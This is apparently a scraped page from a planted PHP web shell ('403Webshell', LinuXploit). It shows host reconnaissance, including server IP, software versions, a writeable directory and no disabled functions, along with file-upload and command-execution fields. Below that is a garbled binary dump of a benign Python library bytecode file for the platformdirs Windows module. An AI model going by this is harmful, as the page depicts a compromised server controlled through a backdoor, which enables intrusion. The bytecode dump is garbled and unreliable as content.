403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/lib/python3.9/site-packages/platformdirs/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/lib/python3.9/site-packages/platformdirs/__pycache__/windows.cpython-39.pyc
a

���e'�@s�dZddlmZddlZddlZddlZddlmZddlm	Z	ddl
mZe	r\ddlm
Z
Gd	d
�d
e�Zddd�d
d�Zddd�dd�Zddd�dd�Zddd�dd�Zdd�dd�Zedd�e��Zd
gZdS)zWindows.�)�annotationsN)�	lru_cache)�
TYPE_CHECKING�)�PlatformDirsABC)�Callablec@sHeZdZdZedd�dd��Zdd�dddd	�d
d�Zedd�dd
��Zedd�dd��Zedd�dd��Z	edd�dd��Z
edd�dd��Zedd�dd��Zedd�dd��Z
edd�dd��Zedd�dd��Zedd�dd��Zedd�d d!��Zedd�d"d#��Zedd�d$d%��Zedd�d&d'��Zedd�d(d)��ZdS)*�Windowsa
    `MSDN on where to store app data files
    <http://support.microsoft.com/default.aspx?scid=kb;en-us;310294#XSLTH3194121123120121120120>`_.
    Makes use of the
    `appname <platformdirs.api.PlatformDirsABC.appname>`,
    `appauthor <platformdirs.api.PlatformDirsABC.appauthor>`,
    `version <platformdirs.api.PlatformDirsABC.version>`,
    `roaming <platformdirs.api.PlatformDirsABC.roaming>`,
    `opinion <platformdirs.api.PlatformDirsABC.opinion>`,
    `ensure_exists <platformdirs.api.PlatformDirsABC.ensure_exists>`.
    �str��returncCs(|jr
dnd}tj�t|��}|�|�S)z�
        :return: data directory tied to the user, e.g.
         ``%USERPROFILE%\AppData\Local\$appauthor\$appname`` (not roaming) or
         ``%USERPROFILE%\AppData\Roaming\$appauthor\$appname`` (roaming)
        �
CSIDL_APPDATA�CSIDL_LOCAL_APPDATA)Zroaming�os�path�normpath�get_win_folder�
_append_parts)�self�constr�r�8/usr/lib/python3.9/site-packages/platformdirs/windows.py�
user_data_dirszWindows.user_data_dirN��
opinion_value�
str | None)rrrcCs�g}|jr`|jdur*|jp|j}|�|�|�|j�|durN|jrN|�|�|jr`|�|j�tjj|g|�R�}|�|�|S)NF)	ZappnameZ	appauthor�append�opinion�versionrr�join�_optionally_create_directory)rrr�paramsZauthorrrrr)s



zWindows._append_partscCstj�td��}|�|�S)zT:return: data directory shared by users, e.g. ``C:\ProgramData\$appauthor\$appname``�CSIDL_COMMON_APPDATA�rrrrr�rrrrr�
site_data_dir8szWindows.site_data_dircCs|jS)zC:return: config directory tied to the user, same as `user_data_dir`�r�rrrr�user_config_dir>szWindows.user_config_dircCs|jS)zF:return: config directory shared by the users, same as `site_data_dir`)r$r&rrr�site_config_dirCszWindows.site_config_dircCstj�td��}|j|dd�S)z�
        :return: cache directory tied to the user (if opinionated with ``Cache`` folder within ``$appname``) e.g.
         ``%USERPROFILE%\AppData\Local\$appauthor\$appname\Cache\$version``
        r
�Cacherr"r#rrr�user_cache_dirHszWindows.user_cache_dircCstj�td��}|j|dd�S)zd:return: cache directory shared by users, e.g. ``C:\ProgramData\$appauthor\$appname\Cache\$version``r!r)rr"r#rrr�site_cache_dirQszWindows.site_cache_dircCs|jS)zB:return: state directory tied to the user, same as `user_data_dir`r%r&rrr�user_state_dirWszWindows.user_state_dircCs(|j}|jr$tj�|d�}|�|�|S)zg:return: log directory tied to the user, same as `user_data_dir` if not opinionated else ``Logs`` in itZLogs)rrrrrrr#rrr�user_log_dir\s

zWindows.user_log_dircCstj�td��S)zN:return: documents directory tied to the user e.g. ``%USERPROFILE%\Documents``�CSIDL_PERSONAL�rrrrr&rrr�user_documents_direszWindows.user_documents_dircCstj�td��S)zN:return: downloads directory tied to the user e.g. ``%USERPROFILE%\Downloads``�CSIDL_DOWNLOADSr/r&rrr�user_downloads_dirjszWindows.user_downloads_dircCstj�td��S)zL:return: pictures directory tied to the user e.g. ``%USERPROFILE%\Pictures``�CSIDL_MYPICTURESr/r&rrr�user_pictures_diroszWindows.user_pictures_dircCstj�td��S)zH:return: videos directory tied to the user e.g. ``%USERPROFILE%\Videos``�
CSIDL_MYVIDEOr/r&rrr�user_videos_dirtszWindows.user_videos_dircCstj�td��S)zF:return: music directory tied to the user e.g. ``%USERPROFILE%\Music``�
CSIDL_MYMUSICr/r&rrr�user_music_diryszWindows.user_music_dircCstj�td��S)zK:return: desktop directory tied to the user, e.g. ``%USERPROFILE%\Desktop``�CSIDL_DESKTOPDIRECTORYr/r&rrr�user_desktop_dir~szWindows.user_desktop_dircCs$tj�tj�td�d��}|�|�S)z�
        :return: runtime directory tied to the user, e.g.
         ``%USERPROFILE%\AppData\Local\Temp\$appauthor\$appname``
        r
ZTemp)rrrrrrr#rrr�user_runtime_dir�szWindows.user_runtime_dircCs|jS)zF:return: runtime directory shared by users, same as `user_runtime_dir`)r;r&rrr�site_runtime_dir�szWindows.site_runtime_dir)�__name__�
__module__�__qualname__�__doc__�propertyrrr$r'r(r*r+r,r-r0r2r4r6r8r:r;r<rrrrrsD
rr	)�
csidl_namercCsjt|�}|dur|Sdddd��|�}|dur@d|��}t|��tj�|�}|durfd|��}t|��|S)z&Get folder from environment variables.N�APPDATAZALLUSERSPROFILEZLOCALAPPDATA)rr!r
�Unknown CSIDL name: zUnset environment variable: )�(get_win_folder_if_csidl_name_not_env_var�get�
ValueErrorr�environ)rB�resultZenv_var_name�msgrrr�get_win_folder_from_env_vars�s"��

rKrcCs�|dkr$tj�tj�tjd�d�S|dkrHtj�tj�tjd�d�S|dkrltj�tj�tjd�d�S|dkr�tj�tj�tjd�d	�S|d
kr�tj�tj�tjd�d�SdS)
zKGet folder for a CSIDL name that does not exist as an environment variable.r.�USERPROFILEZ	Documentsr1�	Downloadsr3ZPicturesr5ZVideosr7ZMusicN)rrrrrH)rBrrrrE�srEc	Csrddddddddd	��|�}|d
ur6d|��}t|��tjdkrDt�d
d
l}|�|jd�}|�||�\}}t	|�S)z�
    Get folder from the registry.

    This is a fallback technique at best. I'm not sure if using the registry for these guarantees us the correct answer
    for all CSIDL_* names.
    ZAppDatazCommon AppDataz
Local AppDataZPersonalz&{374DE290-123F-4565-9164-39C4925E467B}zMy PictureszMy VideozMy Music)rr!r
r.r1r3r5r7NrD�win32rz@Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders)
rFrG�sys�platform�NotImplementedError�winreg�OpenKey�HKEY_CURRENT_USERZQueryValueExr	)rBZshell_folder_namerJrR�keyZ	directory�_rrr�get_win_folder_from_registry�s(�	�


rWc
Cs�ddddddddd	d
�	�|�}|dur8d|��}t|��t�d
�}ttd�}|j�d|dd|�tdd�|D��r�t�d
�}|j�	|j
|d
�r�|}|dkr�tj�
|j
d�S|j
S)zGet folder with ctypes.��#���'��
�(�)	rr!r
r.r3r5r7r1r9NrDi�windllrcss|]}t|�dkVqdS)�N)�ord)�.0�crrr�	<genexpr>��z,get_win_folder_via_ctypes.<locals>.<genexpr>r1rM)rFrG�ctypesZcreate_unicode_buffer�getattrZshell32ZSHGetFolderPathW�anyZkernel32ZGetShortPathNameW�valuerrr)rBZcsidl_constrJ�bufraZbuf2rrr�get_win_folder_via_ctypes�s2�
�



rmzCallable[[str], str]r
cCs:ttd�rtSzddl}Wnty0tYS0tSdS)Nrar)�hasattrrhrmrR�ImportErrorrKrW)rRrrr�_pick_get_win_folder�s

rp)�maxsize)r@Z
__future__rrhrrO�	functoolsr�typingrZapir�collections.abcrrrKrErWrmrpr�__all__rrrr�<module>s&%�

Youez - 2016 - github.com/yon3zu
LinuXploit